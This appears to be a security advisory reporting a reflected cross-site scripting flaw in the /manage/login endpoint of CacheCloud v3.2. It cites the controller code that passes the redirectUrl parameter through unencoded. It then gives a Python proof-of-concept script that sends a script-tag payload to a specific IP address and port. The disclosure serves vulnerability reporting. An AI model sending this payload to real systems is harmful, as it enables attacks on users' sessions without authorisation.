XSS vulnerability on /manage/login

[NinjaGPT]

XSS vulnerability on /manage/login

Summary

In the latest version (v3.2) of CacheCloud, the endpoint /manage/login does not encode user-controllable parameters when outputting them on web page, resulting in XSS vulnerability. This allows attackers to launch XSS attacks against users.

Details

• SOURCE & SINK

// src/main/java/com/sohu/cache/web/controller/LoginController.java#L41-L50
41:    @RequestMapping(
42:       value = {"/login"},
43:       method = {RequestMethod.GET}
44:    )
45:    public ModelAndView init(HttpServletRequest request, HttpServletResponse response, Model model) {
46:       model.addAttribute("redirectUrl", request.getParameter("redirectUrl"));
47:       model.addAttribute("pwdswitch", EnvCustomUtil.pwdswitch);
48:       return new ModelAndView("manage/login");
49:    }
50:

POC

import requests
from requests.sessions import Session
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        arg_names = (
            'method', 'url', 'params', 'data', 'headers', 'cookies', 'files', 'auth', 'timeout',
            'allow_redirects', 'proxies', 'hooks', 'stream', 'verify', 'cert', 'json'
        )
        local_variables = locals()
        local_variables = {n: local_variables[n] for n in local_variables if n in arg_names}
        
        local_variables['headers'] = local_variables.get('headers') or dict()
        local_variables['headers'].update({'referer': 'http://34.169.199.145:40101/admin/app/list', 'User-Agent': 'oxpecker', 'accept-language': 'en-US', 'x-requested-with': 'XMLHttpRequest', 'origin': 'http://34.169.199.145:40101', 'upgrade-insecure-requests': '1', 'pragma': 'no-cache', 'cache-control': 'no-cache', 'accept-encoding': 'gzip, deflate'})
        return super().request(**{n: local_variables[n] for n in local_variables if n in arg_names})
requests.sessions.Session = CustomSession
# ================================== Poc Start ===================================
import requests
url = 'http://34.169.199.145:40101/manage/login'
malicious_payload = '"><ScRIpT>alert("zast-xss")</scriPT>//'
params = {'redirectUrl': malicious_payload}
response = requests.get(url, params=params, verify=False, allow_redirects=False)
print('Status Code:', response.status_code)
print('Text:', response.text)
# =================================== Poc End ====================================

• Screenshot